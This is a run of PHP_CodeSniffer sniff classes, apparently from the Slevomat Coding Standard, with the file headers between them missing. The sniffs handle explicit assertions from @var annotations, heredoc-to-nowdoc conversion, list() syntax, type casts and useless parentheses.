$firstPointerOnPreviousLine === null || !in_array($tokens[$firstPointerOnPreviousLine]['code'], $tokenCodes, true) ) { return; } $codePointer = $firstPointerOnPreviousLine; } /** @var list> $variableAnnotations */ $variableAnnotations = AnnotationHelper::getAnnotations($phpcsFile, $docCommentOpenPointer, '@var'); if (count($variableAnnotations) === 0) { return; } foreach (array_reverse($variableAnnotations) as $variableAnnotation) { if ($variableAnnotation->isInvalid()) { continue; } $variableName = $variableAnnotation->getValue()->variableName; if ($variableName === '') { continue; } $variableAnnotationType = $variableAnnotation->getValue()->type; if ( $variableAnnotationType instanceof UnionTypeNode || $variableAnnotationType instanceof IntersectionTypeNode ) { foreach ($variableAnnotationType->types as $typeNode) { if (!$this->isValidTypeNode($typeNode)) { continue 2; } } } elseif (!$this->isValidTypeNode($variableAnnotationType)) { continue; } /** @var IdentifierTypeNode|ThisTypeNode|UnionTypeNode|GenericTypeNode $variableAnnotationType */ $variableAnnotationType = $variableAnnotationType; $assertion = $this->createAssert($variableName, $variableAnnotationType); if ($assertion === null) { continue; } if ($tokens[$codePointer]['code'] === T_VARIABLE) { $pointerAfterVariable = TokenHelper::findNextEffective($phpcsFile, $codePointer + 1); if ($tokens[$pointerAfterVariable]['code'] !== T_EQUAL) { continue; } if ($variableName !== $tokens[$codePointer]['content']) { continue; } $pointerToAddAssertion = $this->getNextSemicolonInSameScope($phpcsFile, $codePointer, $codePointer + 1); $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenPointer); } elseif ($tokens[$codePointer]['code'] === T_LIST) { $listParenthesisOpener = TokenHelper::findNextEffective($phpcsFile, $codePointer + 1); $variablePointerInList = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $listParenthesisOpener + 1, $tokens[$listParenthesisOpener]['parenthesis_closer'], ); if ($variablePointerInList === null) { continue; } $pointerToAddAssertion = $this->getNextSemicolonInSameScope($phpcsFile, $codePointer, $codePointer + 1); $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenPointer); } elseif ($tokens[$codePointer]['code'] === T_OPEN_SHORT_ARRAY) { $pointerAfterList = TokenHelper::findNextEffective($phpcsFile, $tokens[$codePointer]['bracket_closer'] + 1); if ($tokens[$pointerAfterList]['code'] !== T_EQUAL) { continue; } $variablePointerInList = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $codePointer + 1, $tokens[$codePointer]['bracket_closer'], ); if ($variablePointerInList === null) { continue; } $pointerToAddAssertion = $this->getNextSemicolonInSameScope( $phpcsFile, $codePointer, $tokens[$codePointer]['bracket_closer'] + 1, ); $indentation = IndentationHelper::getIndentation($phpcsFile, $docCommentOpenPointer); } else { if ($tokens[$codePointer]['code'] === T_WHILE) { $variablePointerInWhile = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $tokens[$codePointer]['parenthesis_opener'] + 1, $tokens[$codePointer]['parenthesis_closer'], ); if ($variablePointerInWhile === null) { continue; } $pointerAfterVariableInWhile = TokenHelper::findNextEffective($phpcsFile, $variablePointerInWhile + 1); if ($tokens[$pointerAfterVariableInWhile]['code'] !== T_EQUAL) { continue; } } else { $asPointer = TokenHelper::findNext( $phpcsFile, T_AS, $tokens[$codePointer]['parenthesis_opener'] + 1, $tokens[$codePointer]['parenthesis_closer'], ); $variablePointerInForeach = TokenHelper::findNextContent( $phpcsFile, T_VARIABLE, $variableName, $asPointer + 1, $tokens[$codePointer]['parenthesis_closer'], ); if ($variablePointerInForeach === null) { continue; } } $pointerToAddAssertion = $tokens[$codePointer]['scope_opener']; $indentation = IndentationHelper::addIndentation($phpcsFile, IndentationHelper::getIndentation($phpcsFile, $codePointer)); } $fix = $phpcsFile->addFixableError( 'Use assertion instead of inline documentation comment.', $variableAnnotation->getStartPointer(), self::CODE_REQUIRED_EXPLICIT_ASSERTION, ); if (!$fix) { continue; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $variableAnnotation->getStartPointer(), $variableAnnotation->getEndPointer()); $docCommentUseful = false; $docCommentClosePointer = $tokens[$docCommentOpenPointer]['comment_closer']; for ($i = $docCommentOpenPointer + 1; $i < $docCommentClosePointer; $i++) { $tokenContent = trim($phpcsFile->fixer->getTokenContent($i)); if ($tokenContent === '' || $tokenContent === '*') { continue; } $docCommentUseful = true; break; } $pointerBeforeDocComment = TokenHelper::findPreviousContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $docCommentOpenPointer - 1, ); $pointerAfterDocComment = TokenHelper::findNextContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $docCommentClosePointer + 1, ); if (!$docCommentUseful) { FixerHelper::removeBetweenIncluding($phpcsFile, $pointerBeforeDocComment + 1, $pointerAfterDocComment); } if ( $pointerToAddAssertion < $docCommentClosePointer && array_key_exists($pointerAfterDocComment + 1, $tokens) ) { FixerHelper::addBefore($phpcsFile, $pointerAfterDocComment + 1, $indentation . $assertion . $phpcsFile->eolChar); } else { FixerHelper::add($phpcsFile, $pointerToAddAssertion, $phpcsFile->eolChar . $indentation . $assertion); } $phpcsFile->fixer->endChangeset(); } } private function isValidTypeNode(TypeNode $typeNode): bool { if ($typeNode instanceof ThisTypeNode) { return true; } if ($typeNode instanceof IdentifierTypeNode) { return true; } if ( $this->enableIntegerRanges && $typeNode instanceof GenericTypeNode && $typeNode->type->name === 'int' && count($typeNode->genericTypes) === 2 ) { foreach ($typeNode->genericTypes as $genericType) { $isValid = ($genericType instanceof IdentifierTypeNode && in_array($genericType->name, ['min', 'max'], true)) || ($genericType instanceof ConstTypeNode && $genericType->constExpr instanceof ConstExprIntegerNode); if (!$isValid) { return false; } } return true; } return false; } private function getNextSemicolonInSameScope(File $phpcsFile, int $scopePointer, int $searchAt): int { $semicolonPointer = null; do { $semicolonPointer = TokenHelper::findNext($phpcsFile, T_SEMICOLON, $searchAt); if (ScopeHelper::isInSameScope($phpcsFile, $scopePointer, $semicolonPointer)) { break; } $searchAt = $semicolonPointer + 1; } while (true); return $semicolonPointer; } /** * @param IdentifierTypeNode|ThisTypeNode|UnionTypeNode|IntersectionTypeNode|GenericTypeNode $typeNode */ private function createAssert(string $variableName, TypeNode $typeNode): ?string { $conditions = []; if ( $typeNode instanceof IdentifierTypeNode || $typeNode instanceof ThisTypeNode || $typeNode instanceof GenericTypeNode ) { $conditions = $this->createConditions($variableName, $typeNode); return $conditions !== [] ? sprintf('\assert(%s);', implode(' || ', $conditions)) : null; } /** @var IdentifierTypeNode|ThisTypeNode|GenericTypeNode $innerTypeNode */ foreach ($typeNode->types as $innerTypeNode) { $innerTypeConditions = $this->createConditions($variableName, $innerTypeNode); if ($innerTypeConditions === []) { return null; } $conditions = array_merge($conditions, $innerTypeConditions); } $operator = $typeNode instanceof IntersectionTypeNode ? '&&' : '||'; $formattedConditions = []; foreach (array_unique($conditions) as $condition) { $formattedConditions[] = $operator === '||' && strpos($condition, '&&') !== false ? sprintf('(%s)', $condition) : $condition; } return sprintf('\assert(%s);', implode(sprintf(' %s ', $operator), $formattedConditions)); } /** * @param IdentifierTypeNode|ThisTypeNode|GenericTypeNode $typeNode * @return list */ private function createConditions(string $variableName, TypeNode $typeNode): array { if ($typeNode instanceof GenericTypeNode) { $conditions = [sprintf('\is_int(%s)', $variableName)]; if ($typeNode->genericTypes[0] instanceof ConstTypeNode) { $conditions[] = sprintf('%s >= %s', $variableName, (string) $typeNode->genericTypes[0]); } if ($typeNode->genericTypes[1] instanceof ConstTypeNode) { $conditions[] = sprintf('%s <= %s', $variableName, (string) $typeNode->genericTypes[1]); } return [implode(' && ', $conditions)]; } if ($typeNode instanceof ThisTypeNode) { return [sprintf('%s instanceof $this', $variableName)]; } if ($typeNode->name === 'self') { return [sprintf('%s instanceof %s', $variableName, $typeNode->name)]; } if ($typeNode->name === 'static') { return [sprintf('%s instanceof static', $variableName)]; } if (in_array($typeNode->name, ['true', 'false', 'null'], true)) { return [sprintf('%s === %s', $variableName, $typeNode->name)]; } if ( $typeNode->name === 'mixed' || TypeHintHelper::isVoidTypeHint($typeNode->name) || TypeHintHelper::isNeverTypeHint($typeNode->name) ) { return []; } if (TypeHintHelper::isSimpleTypeHint($typeNode->name)) { return [sprintf('\is_%s(%s)', TypeHintHelper::convertLongSimpleTypeHintToShort($typeNode->name), $variableName)]; } if (in_array($typeNode->name, ['resource', 'object'], true)) { return [sprintf('\is_%s(%s)', $typeNode->name, $variableName)]; } if ($typeNode->name === 'numeric') { return [ sprintf('\is_numeric(%s)', $variableName), ]; } if ($typeNode->name === 'scalar') { return [ sprintf('\is_int(%s)', $variableName), sprintf('\is_float(%s)', $variableName), sprintf('\is_bool(%s)', $variableName), sprintf('\is_string(%s)', $variableName), ]; } if ($this->enableIntegerRanges) { if ($typeNode->name === 'positive-int' || $typeNode->name === 'non-negative-int') { return [sprintf('\is_int(%1$s) && %1$s > 0', $variableName)]; } if ($typeNode->name === 'negative-int' || $typeNode->name === 'non-positive-int') { return [sprintf('\is_int(%1$s) && %1$s < 0', $variableName)]; } if ($typeNode->name === 'literal-int') { return [sprintf('\is_int(%1$s)', $variableName)]; } } if ( $this->enableAdvancedStringTypes && preg_match('~-string$~', $typeNode->name) === 1 && preg_match('~^(?:class|trait|enum)-string$~', $typeNode->name) !== 1 ) { $conditions = [sprintf('\is_string(%s)', $variableName)]; if ($typeNode->name === 'callable-string') { $conditions[] = sprintf('\is_callable(%s)', $variableName); } elseif ($typeNode->name === 'numeric-string') { $conditions[] = sprintf('\is_numeric(%s)', $variableName); } elseif (preg_match('~^non-empty-~i', $typeNode->name) === 1) { $conditions[] = sprintf("%s !== ''", $variableName); } elseif (preg_match('~^non-falsy-~i', $typeNode->name) === 1) { $conditions[] = sprintf('(bool) %s === true', $variableName); } return [implode(' && ', $conditions)]; } if (TypeHintHelper::isSimpleUnofficialTypeHints($typeNode->name)) { return []; } return [sprintf('%s instanceof %s', $variableName, $typeNode->name)]; } } */ public function register(): array { return [ T_START_HEREDOC, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $heredocStartPointer */ public function process(File $phpcsFile, $heredocStartPointer): void { $tokens = $phpcsFile->getTokens(); $heredocEndPointer = TokenHelper::findNext($phpcsFile, T_END_HEREDOC, $heredocStartPointer + 1); $heredocContentPointers = []; for ($i = $heredocStartPointer + 1; $i < $heredocEndPointer; $i++) { if ($tokens[$i]['code'] === T_HEREDOC) { if (preg_match('~^([^\\\\$]|\\\\[^nrtvef0-7xu])*$~', $tokens[$i]['content']) === 0) { return; } $heredocContentPointers[] = $i; } } $fix = $phpcsFile->addFixableError('Use nowdoc syntax instead of heredoc.', $heredocStartPointer, self::CODE_REQUIRED_NOWDOC); if (!$fix) { return; } $nowdocStart = preg_replace('~^<<<"?(\w+)"?~', '<<<\'$1\'', $tokens[$heredocStartPointer]['content']); $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $heredocStartPointer, $nowdocStart); foreach ($heredocContentPointers as $heredocContentPointer) { $heredocContent = $tokens[$heredocContentPointer]['content']; $nowdocContent = preg_replace( '~\\\\(\\\\[nrtvef]|\$|\\\\|\\\\[0-7]{1,3}|\\\\x[0-9A-Fa-f]{1,2}|\\\\u\{[0-9A-Fa-f]+\})~', '$1', $heredocContent, ); FixerHelper::replace($phpcsFile, $heredocContentPointer, $nowdocContent); } $phpcsFile->fixer->endChangeset(); } } */ public function register(): array { return [T_LIST]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $fix = $phpcsFile->addFixableError('list(...) is forbidden, use [...] instead.', $pointer, self::CODE_LONG_LIST_USED); if (!$fix) { return; } $tokens = $phpcsFile->getTokens(); /** @var int $startPointer */ $startPointer = TokenHelper::findNext($phpcsFile, [T_OPEN_PARENTHESIS], $pointer + 1); $endPointer = $tokens[$startPointer]['parenthesis_closer']; $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $pointer, $startPointer - 1); FixerHelper::replace($phpcsFile, $startPointer, '['); FixerHelper::replace($phpcsFile, $endPointer, ']'); $phpcsFile->fixer->endChangeset(); } } null, 'boolean' => 'bool', 'double' => 'float', 'integer' => 'int', 'real' => 'float', 'unset' => null, ]; /** * @return array */ public function register(): array { return [ T_STRING_CAST, T_BOOL_CAST, T_DOUBLE_CAST, T_INT_CAST, T_UNSET_CAST, T_BINARY_CAST, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $pointer */ public function process(File $phpcsFile, $pointer): void { $tokens = $phpcsFile->getTokens(); $cast = $tokens[$pointer]['content']; preg_match('~^\(\s*(\S+)\s*\)\z~i', $cast, $matches); if (!array_key_exists(1, $matches)) { return; } $castName = $matches[1]; $castNameLower = strtolower($castName); if (!array_key_exists($castNameLower, self::INVALID_CASTS)) { return; } if ($castNameLower === 'unset') { $phpcsFile->addError( sprintf('Cast "%s" is forbidden, use "unset(...)" or assign "null" instead.', $cast), $pointer, self::CODE_FORBIDDEN_CAST_USED, ); return; } if ($castNameLower === 'binary') { $fix = $phpcsFile->addFixableError( sprintf('"Cast "%s" is forbidden and has no effect.', $cast), $pointer, self::CODE_FORBIDDEN_CAST_USED, ); if (!$fix) { return; } $end = TokenHelper::findNextEffective($phpcsFile, $pointer + 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $pointer, $end - 1); $phpcsFile->fixer->endChangeset(); return; } $fix = $phpcsFile->addFixableError( sprintf('Cast "%s" is forbidden, use "(%s)" instead.', $cast, self::INVALID_CASTS[$castNameLower]), $pointer, self::CODE_INVALID_CAST_USED, ); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::replace($phpcsFile, $pointer, '(' . self::INVALID_CASTS[$castNameLower] . ')'); $phpcsFile->fixer->endChangeset(); } } 1, T_MULTIPLY => 2, T_DIVIDE => 2, T_MODULUS => 3, T_PLUS => 4, T_MINUS => 4, T_STRING_CONCAT => 5, ]; public bool $ignoreComplexTernaryConditions = false; /** * @return array */ public function register(): array { return [ T_OPEN_PARENTHESIS, ]; } /** * @phpcsSuppress SlevomatCodingStandard.TypeHints.ParameterTypeHint.MissingNativeTypeHint * @param int $parenthesisOpenerPointer */ public function process(File $phpcsFile, $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); if (array_key_exists('parenthesis_owner', $tokens[$parenthesisOpenerPointer])) { return; } if (!array_key_exists('parenthesis_closer', $tokens[$parenthesisOpenerPointer])) { return; } /** @var int $pointerBeforeParenthesisOpener */ $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if (in_array($tokens[$pointerBeforeParenthesisOpener]['code'], [ ...TokenHelper::NAME_TOKEN_CODES, T_VARIABLE, T_ISSET, T_UNSET, T_EMPTY, T_CLOSURE, T_FN, T_USE, T_ANON_CLASS, T_NEW, T_SELF, T_STATIC, T_PARENT, T_EXIT, T_CLOSE_PARENTHESIS, T_EVAL, T_LIST, T_INCLUDE, T_INCLUDE_ONCE, T_REQUIRE, T_REQUIRE_ONCE, T_INT_CAST, T_DOUBLE_CAST, T_STRING_CAST, T_ARRAY_CAST, T_OBJECT_CAST, T_BOOL_CAST, T_UNSET_CAST, T_MATCH, T_BITWISE_NOT, ], true,)) { return; } /** @var int $pointerAfterParenthesisOpener */ $pointerAfterParenthesisOpener = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if (in_array( $tokens[$pointerAfterParenthesisOpener]['code'], [T_CLONE, T_YIELD, T_YIELD_FROM, T_REQUIRE, T_REQUIRE_ONCE, T_INCLUDE, T_INCLUDE_ONCE, T_ARRAY_CAST], true, )) { return; } if (TokenHelper::findNext( $phpcsFile, T_EQUAL, $parenthesisOpenerPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], ) !== null) { return; } $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] + 1, ); if ( $pointerAfterParenthesisCloser !== null && $tokens[$pointerAfterParenthesisCloser]['code'] === T_OPEN_PARENTHESIS ) { return; } if (IdentificatorHelper::findStartPointer($phpcsFile, $pointerBeforeParenthesisOpener) !== null) { return; } $this->checkParenthesesAroundConditionInTernaryOperator($phpcsFile, $parenthesisOpenerPointer); $this->checkParenthesesAroundCaseInSwitch($phpcsFile, $parenthesisOpenerPointer); $this->checkParenthesesAroundVariableOrFunctionCall($phpcsFile, $parenthesisOpenerPointer); $this->checkParenthesesAroundString($phpcsFile, $parenthesisOpenerPointer); $this->checkParenthesesAroundOperators($phpcsFile, $parenthesisOpenerPointer); $this->checkParenthesesAroundNew($phpcsFile, $parenthesisOpenerPointer); } private function checkParenthesesAroundConditionInTernaryOperator(File $phpcsFile, int $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $parenthesisCloserPointer = $tokens[$parenthesisOpenerPointer]['parenthesis_closer']; $ternaryOperatorPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisCloserPointer + 1); if ($tokens[$ternaryOperatorPointer]['code'] !== T_INLINE_THEN) { return; } if (TokenHelper::findNext( $phpcsFile, [T_LOGICAL_AND, T_LOGICAL_OR, T_LOGICAL_XOR], $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) !== null) { return; } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if ($tokens[$pointerBeforeParenthesisOpener]['code'] === T_BOOLEAN_NOT) { return; } if (in_array($tokens[$pointerBeforeParenthesisOpener]['code'], Tokens::$comparisonTokens, true)) { return; } if (in_array($tokens[$pointerBeforeParenthesisOpener]['code'], Tokens::$booleanOperators, true)) { return; } if ($this->ignoreComplexTernaryConditions) { if (TokenHelper::findNext( $phpcsFile, Tokens::$booleanOperators, $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) !== null) { return; } if (TokenHelper::findNextContent( $phpcsFile, T_WHITESPACE, $phpcsFile->eolChar, $parenthesisOpenerPointer + 1, $parenthesisCloserPointer, ) !== null) { return; } } $contentStartPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); $contentEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisCloserPointer - 1); for ($i = $contentStartPointer; $i <= $contentEndPointer; $i++) { if ($tokens[$i]['code'] === T_INLINE_THEN) { return; } } $fix = $phpcsFile->addFixableError('Useless parentheses.', $parenthesisOpenerPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $parenthesisOpenerPointer, $contentStartPointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $contentEndPointer + 1, $parenthesisCloserPointer); $phpcsFile->fixer->endChangeset(); } private function checkParenthesesAroundCaseInSwitch(File $phpcsFile, int $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if ($tokens[$pointerBeforeParenthesisOpener]['code'] !== T_CASE) { return; } $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] + 1, ); if ($tokens[$pointerAfterParenthesisCloser]['code'] !== T_COLON) { return; } $fix = $phpcsFile->addFixableError('Useless parentheses.', $parenthesisOpenerPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $contentStartPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); $contentEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] - 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $parenthesisOpenerPointer, $contentStartPointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $contentEndPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer']); $phpcsFile->fixer->endChangeset(); } private function checkParenthesesAroundVariableOrFunctionCall(File $phpcsFile, int $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $pointerAfterParenthesis = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if ($tokens[$pointerAfterParenthesis]['code'] === T_NEW) { // Check in other method return; } if ($tokens[$pointerAfterParenthesis]['code'] === T_OPEN_PARENTHESIS) { return; } $operatorsPointers = TokenHelper::findNextAll( $phpcsFile, self::OPERATORS, $parenthesisOpenerPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], ); if ($operatorsPointers !== []) { return; } $casePointer = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if ($tokens[$casePointer]['code'] === T_CASE) { return; } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); if (in_array($tokens[$pointerBeforeParenthesisOpener]['code'], Tokens::$booleanOperators, true)) { return; } $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] + 1, ); if (in_array($tokens[$pointerAfterParenthesisCloser]['code'], [T_INLINE_THEN, T_OPEN_PARENTHESIS, T_SR], true)) { return; } /** @var int $contentStartPointer */ $contentStartPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if ($tokens[$contentStartPointer]['code'] === T_CONSTANT_ENCAPSED_STRING) { return; } $notBooleanNotOperatorPointer = $contentStartPointer; if ($tokens[$contentStartPointer]['code'] === T_BOOLEAN_NOT) { /** @var int $notBooleanNotOperatorPointer */ $notBooleanNotOperatorPointer = TokenHelper::findNextEffective($phpcsFile, $contentStartPointer + 1); } if (in_array( $tokens[$notBooleanNotOperatorPointer]['code'], [T_SELF, T_STATIC, T_PARENT, T_VARIABLE, T_DOLLAR, ...TokenHelper::NAME_TOKEN_CODES], true, )) { $contentEndPointer = IdentificatorHelper::findEndPointer($phpcsFile, $notBooleanNotOperatorPointer); if ( $contentEndPointer === null && in_array($tokens[$notBooleanNotOperatorPointer]['code'], TokenHelper::NAME_TOKEN_CODES, true) ) { $nextPointer = TokenHelper::findNextEffective($phpcsFile, $contentStartPointer + 1); if ($tokens[$nextPointer]['code'] === T_OPEN_PARENTHESIS) { $contentEndPointer = $contentStartPointer; } } do { $nextPointer = TokenHelper::findNextEffective($phpcsFile, $contentEndPointer + 1); if ($tokens[$nextPointer]['code'] !== T_OPEN_PARENTHESIS) { break; } $contentEndPointer = $tokens[$nextPointer]['parenthesis_closer']; } while (true); } else { $nextPointer = TokenHelper::findNext($phpcsFile, T_OPEN_PARENTHESIS, $notBooleanNotOperatorPointer + 1); if ($nextPointer === null || !isset($tokens[$nextPointer]['parenthesis_closer'])) { return; } $contentEndPointer = $tokens[$nextPointer]['parenthesis_closer']; } $pointerAfterContent = TokenHelper::findNextEffective($phpcsFile, $contentEndPointer + 1); if ($pointerAfterContent !== $tokens[$parenthesisOpenerPointer]['parenthesis_closer']) { return; } $fix = $phpcsFile->addFixableError('Useless parentheses.', $parenthesisOpenerPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $parenthesisOpenerPointer, $contentStartPointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $contentEndPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer']); $phpcsFile->fixer->endChangeset(); } private function checkParenthesesAroundString(File $phpcsFile, int $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); /** @var int $stringPointer */ $stringPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if ($tokens[$stringPointer]['code'] !== T_CONSTANT_ENCAPSED_STRING) { return; } $pointerAfterString = TokenHelper::findNextEffective($phpcsFile, $stringPointer + 1); if ($pointerAfterString !== $tokens[$parenthesisOpenerPointer]['parenthesis_closer']) { return; } $fix = $phpcsFile->addFixableError('Useless parentheses.', $parenthesisOpenerPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $parenthesisOpenerPointer, $stringPointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $stringPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer']); $phpcsFile->fixer->endChangeset(); } private function checkParenthesesAroundOperators(File $phpcsFile, int $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $newPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if ($tokens[$newPointer]['code'] === T_NEW) { // Check in other method return; } $pointerBeforeParenthesisOpener = TokenHelper::findPreviousEffective($phpcsFile, $parenthesisOpenerPointer - 1); $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] + 1, ); if ($tokens[$pointerBeforeParenthesisOpener]['code'] === T_MINUS) { $pointerBeforeMinus = TokenHelper::findPreviousEffective($phpcsFile, $pointerBeforeParenthesisOpener - 1); if (!in_array($tokens[$pointerBeforeMinus]['code'], [T_DNUMBER, T_LNUMBER], true)) { return; } } if ( in_array($tokens[$pointerBeforeParenthesisOpener]['code'], Tokens::$booleanOperators, true) || in_array($tokens[$pointerAfterParenthesisCloser]['code'], Tokens::$booleanOperators, true) || $tokens[$pointerBeforeParenthesisOpener]['code'] === T_BOOLEAN_NOT ) { return; } $complicatedOperators = [T_INLINE_THEN, T_COALESCE, T_BITWISE_AND, T_BITWISE_OR, T_BITWISE_XOR, T_SL, T_SR]; $operatorsPointers = []; $actualStartPointer = $parenthesisOpenerPointer + 1; while (true) { $pointer = TokenHelper::findNext( $phpcsFile, array_merge( [ ...self::OPERATORS, T_OPEN_PARENTHESIS, ...$complicatedOperators, ], Tokens::$comparisonTokens, ), $actualStartPointer, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'], ); if ($pointer === null) { break; } if (in_array($tokens[$pointer]['code'], $complicatedOperators, true)) { return; } if (in_array($tokens[$pointer]['code'], Tokens::$comparisonTokens, true)) { return; } if ($tokens[$pointer]['code'] === T_OPEN_PARENTHESIS) { $actualStartPointer = $tokens[$pointer]['parenthesis_closer'] + 1; continue; } $operatorsPointers[] = $pointer; $actualStartPointer = $pointer + 1; } if (count($operatorsPointers) === 0) { return; } if ( $tokens[$pointerBeforeParenthesisOpener]['code'] !== T_EQUAL || $tokens[$pointerAfterParenthesisCloser]['code'] !== T_SEMICOLON ) { $operatorsGroups = array_map( static fn (int $operatorPointer): int => self::OPERATOR_GROUPS[$tokens[$operatorPointer]['code']], $operatorsPointers, ); if (count($operatorsGroups) > 1) { return; } } $firstOperatorPointer = $operatorsPointers[0]; if (in_array($tokens[$pointerBeforeParenthesisOpener]['code'], self::OPERATORS, true)) { if (self::OPERATOR_GROUPS[$tokens[$firstOperatorPointer]['code']] !== self::OPERATOR_GROUPS[$tokens[$pointerBeforeParenthesisOpener]['code']]) { return; } if ( $tokens[$pointerBeforeParenthesisOpener]['code'] === T_MINUS && in_array($tokens[$firstOperatorPointer]['code'], [T_PLUS, T_MINUS], true) ) { return; } if ( $tokens[$pointerBeforeParenthesisOpener]['code'] === T_DIVIDE && in_array($tokens[$firstOperatorPointer]['code'], [T_DIVIDE, T_MULTIPLY], true) ) { return; } if ( $tokens[$pointerBeforeParenthesisOpener]['code'] === T_MODULUS && $tokens[$firstOperatorPointer]['code'] === T_MODULUS ) { return; } } $lastOperatorPointer = $operatorsPointers[count($operatorsPointers) - 1]; if ( in_array($tokens[$pointerAfterParenthesisCloser]['code'], self::OPERATORS, true) && self::OPERATOR_GROUPS[$tokens[$lastOperatorPointer]['code']] !== self::OPERATOR_GROUPS[$tokens[$pointerAfterParenthesisCloser]['code']] ) { return; } $fix = $phpcsFile->addFixableError('Useless parentheses.', $parenthesisOpenerPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $contentStartPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); $contentEndPointer = TokenHelper::findPreviousEffective($phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] - 1); $phpcsFile->fixer->beginChangeset(); FixerHelper::removeBetweenIncluding($phpcsFile, $parenthesisOpenerPointer, $contentStartPointer - 1); FixerHelper::removeBetweenIncluding($phpcsFile, $contentEndPointer + 1, $tokens[$parenthesisOpenerPointer]['parenthesis_closer']); $phpcsFile->fixer->endChangeset(); } private function checkParenthesesAroundNew(File $phpcsFile, int $parenthesisOpenerPointer): void { $tokens = $phpcsFile->getTokens(); $newPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); if ($tokens[$newPointer]['code'] !== T_NEW) { return; } $pointerAfterParenthesisCloser = TokenHelper::findNextEffective( $phpcsFile, $tokens[$parenthesisOpenerPointer]['parenthesis_closer'] + 1, ); if (!in_array($tokens[$pointerAfterParenthesisCloser]['code'], [T_COMMA, T_SEMICOLON, T_CLOSE_SHORT_ARRAY], true)) { return; } $fix = $phpcsFile->addFixableError('Useless parentheses.', $parenthesisOpenerPointer, self::CODE_USELESS_PARENTHESES); if (!$fix) { return; } $contentStartPointer = TokenHelper::findNextEffective($phpcsFile, $parenthesisOpenerPointer + 1); $contentEndPointer = TokenHelper::findPreviousEffective($phpcsFile, 